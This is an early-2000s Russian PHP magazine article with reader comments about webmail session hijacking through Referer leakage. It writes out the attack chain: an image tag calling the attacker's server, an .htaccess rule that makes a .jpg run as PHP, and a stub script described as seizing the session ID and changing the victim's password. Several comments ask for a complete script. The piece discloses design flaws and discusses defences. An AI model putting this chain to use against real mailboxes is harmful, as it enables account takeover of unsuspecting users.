Профессиональная разработка Web-приложений.  
Боишься нашего дизайна?
Новости
PDF журнал
Участники проектa
Сотрудничество
Ссылки
Карта сайта
Комментарии
Комментарии к статье
Добавить комментарий
Обсудить на форуме
Информация об авторе
Оценка статьи

Дверца в защите: почтовый веб-интерфейс

PHP-скрипт легким движением руки... взламывает своего собрата.

Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал "как можно", а не "как нужно"! Успокойтесь, ничего особо ценного, как "инструментарий юного хацкера" в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.

A. V. Komlin, Субъективная оценка российских удалённых почтовых сервисов. Тестирование на ошибки в Веб-интерфейсе. Очень полезная статья.

Описывается сервис HotBox.Ru.

Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.

Как уже было отмечено — во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки "пирожков" (хотя узнать их при возможности выполнить скрипт проблемой не являлось).

Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле "Referer:" в заголовке пришедшего запроса!

GET /anyname.gif HTTP/1.0
Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5
Connection: Keep-Alive
...

Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно "работать с почтой " (почитать письма ,установить пересылку...) пока хозяин не выйдет из неё.

Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).

На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.

Итак, мы имеем почтовый сервис, который
а) авторизует пользователей по технологии аналогичной сессиям в php.
б) не делает проверки IP-адресов
в) не проверяет содержимое писем формата html
г) не требует подтверждений изменений системных настроек

А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!

Мы же, крутые хацкеры, используем Apache+PHP.

1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом

<img src=http://www.server.com/picture.jpg>

например, с поздравительной открыткой. :)

2. В директории с открыткой кладем файл .htaccess следующего содержания:

<Files "picture.jpg">
ForceType application/x-httpd-php
</Files>

3. Вместо открытки пишем файл picture.jpg с таким кодом:

<?
header("Content-type: image/gif");
include("otkrytka.jpg");

4. А поздравительную открытку кладем именно в файл otkrytka.jpg. Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь — разбирает переменную , выкусывает оттуда идентификатор сессии и... в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:

5. Открывает сокет с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки — рефереры, user agent и т.п.

6. Открывает второй сокет, имитируя нажатие кнопки "выход".

* Сокет - сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.

ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит — сообщение типа "неправильный пароль, войдите еще раз".

Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле — целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает — ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Со>ят ли удобства таких жертв? Думаю, нет.

Ссылки по теме
  • team void - компьютерная безопасность
  • HackZone.ru
  • Хакеры?! (1997 год)
  • Подмена IP-адреса
  • Сайт банка: входи, бери, что хочешь



  • For comment register here
       2001-03-06 15:58
    Очень прикольная статья...
    Половина web-mail ящиков... Работает на основе к.л. фриварных компонентов... например очень распостранен NeoWebMail или Horde IMP...
    Действительно реально работающий способ ;)

       Unknown 2001-03-06 16:51
    Я все удивляюсь, что народ изобретает яваскрипты и апплеты для прослушивания портов, когда все, что нужно взломщику, передается в открытом виде! :)

       2001-03-06 17:34
    Знаю одну систему онлайн магазинов, где всем желающим дают бесплатно открыть в нем свой отдел (на время или вроде того):)

       2001-03-06 17:35
    Если дыра - значит нора, если нора, значит Rabbit :) (VinniPooh)

       Unknown 2001-03-06 18:27
    Наверное, думали сделать удобнее покупателям. Но это же бред. :) (<a href=http://www.design.ru/kovodstvo/paragraphs/65.html>;ссылка по теме</a>)

       Unknown 2001-03-07 08:22
    а в целом никто даже не представляет, что можно сделать с серверами "ведуших н-ских" провайдеров работающих на фриваре

       Unknown 2001-03-07 09:15
    Не знаю, не знаю. Фривар этот, кажись, массового пользования, да и с деньгами связан. А вот почтовая система у каждого сервиса своя собственная.

       2001-03-10 17:09
    Ну не знаю. Я в свое время ради интереса что-то подобное делал (имеется ввиду защита). Делалось проще, генерился id по IP, паролю и чему-то еще - и во время генерации страницы - этот id сверялся и генерился заново и заносиля в базу. Такой способ был жесток для пользователя (при попытке рефреша он вылетал на логин) - но действовал - пока никто не сломал :))

       Unknown 2001-03-10 18:02
    В форуме PHPClub обсуждается нечто похожее - я там тоже свой метод предложил. Две куки. В одной логин, в другой - хэш от времени загрузки страницы, хэша пароля и буквы "Ы". Программа лезет в базу, берет запись с таким логином, составляет хэш и сверяет его с полученным из куки.

    А! О! IP-то не проверяется!!! На hackzone же пишут, что яваскрипт может и куку выкусить. А значит, ее можно передать злоумышленнику. Да, проверку IP надо добавить. :)

       2001-03-10 21:00
    НУ И ЧЕГО?
    Дыра стара как мир!

       Unknown 2001-03-10 21:53
    А я взлом автоматизировал :] Не, я не претендую на первооткрывание этого дела.

       2001-03-17 21:04
    А я пробовал такое но на основе SpyLog - там есть просмотр реферреров, откуда пришли на страничку. Создаем hello world (где-нибудь на народе), втыкаем в него spylog, рассылаем сслыку на страничку по бесплатным e-mail-ам. Потомо смотрим статистику странички.
    Но это для бедных - кто не хочет возиться с настройкой своего сервака.

       Unknown 2001-03-17 21:57
    Фокус заключается в том, что ящик забирается у пользователя в считанные секунды с момента обращения к "фотке" или нажатия на ссылку.

       2001-03-17 23:23
    Мне по барабану.
    Во-первых мой гуард режет Referer
    Во-вторых я батом почту беру.

       Unknown 2001-03-18 00:16
    Так разговор-то не про Бат :)

       Unknown 2001-03-19 02:16
    Держать ID сессий в куках - пусть лучше пользователи их включают, чем потом жалуются на взлом. А иначе никак не защититься - входите, берите, что хотите.

       2001-03-24 20:20
    Интересная идея о получении реферра, многие порно сайты, вернее их контент зашишен лишь проверкой рефера, каким образом можно формировать заголовок http запроса с помошью php? это конечно тот еще вопрос, но к зашите имеет отношение :) нужно как уже все наверное поняли для линкования картинок с платников :)

       Unknown 2001-03-24 21:13
    вот как раз об этом - вышел следующий выпуск :)

       2001-03-28 16:39
    detail> яваскрипт может и куку выкусить.
    Как это?! Как я понимаю теорию, куки отдаются только на тот хост, с которого были записаны; т.е. если запрос http://main/index.php, в котором setcookie ('name', 'value'), то далее на обращения к index.php броузер пользователя будет отсылать этот кук. Но если я внутри index.php поставлю картинку с другого хоста (например: http://hacker/image.gif), то броузер не будет отправлять вместе с запросом мой кук, т.к. хост другой. Хорошо, если попытаться вместо image.gif подставить JavaScript, то тоже ничего не получится. Он просто не будет обработан, т.к. броузер по тэгу img ожидает получить картинку, а не текст. Вообще, как JavaScript может выкусить кук другого хоста? Я теряюсь в догадках. Где дырка? :)

       2001-04-06 15:01
    имхо, лучше хттп-авторизации ничего нет... делал я как-то систему управления пользовательсскими сессиями для одного эл.м., так я там именно ее и использовал
    для авторизации пользователя, в куках только номер сессии хранил, для пользовательского
    баскета, а в таком случае, даже если тебе удалось узнать номер сесии, ты все равно в профиль пользователя без пароля не войдешь... вот так

       2001-04-08 09:17
    Всем Привет!!!! Хочу узнать все о хакерстве . Помогите!!! и еще жилательно как выгнать не приятеля из чата? Пожалуйста помогите!!!!

       Unknown 2001-04-08 10:10
    АЧЁМ БАЗАР, ПОЦАН! КАНЕЧНО ПАМОЖЕМ!

       2001-04-09 10:14
    А если у меня прокси и за ним локалка спрятана ?
    Ведь тогда под одним IP куча народа - выходит, что первого он впустит, а вот второго...;-(

       2001-05-15 09:18
    А не могли бы вы написать пример сокета,каторый меняем порол н-р на 1111111 и отправляет писмо мне о том что почта взломана.
    Да и куда его нужно засунуть?

       Unknown 2001-05-15 10:11
    Берём программу вроде Proxomitron и смотрим, что уходит наружу. Смотрим мануал по php и узнаём, как отправить то же самое.

    PHP-скрипт легким движением руки... взламывает своего собрата.

     
     
     
        © 1997-2008 PHPClubTeam
    []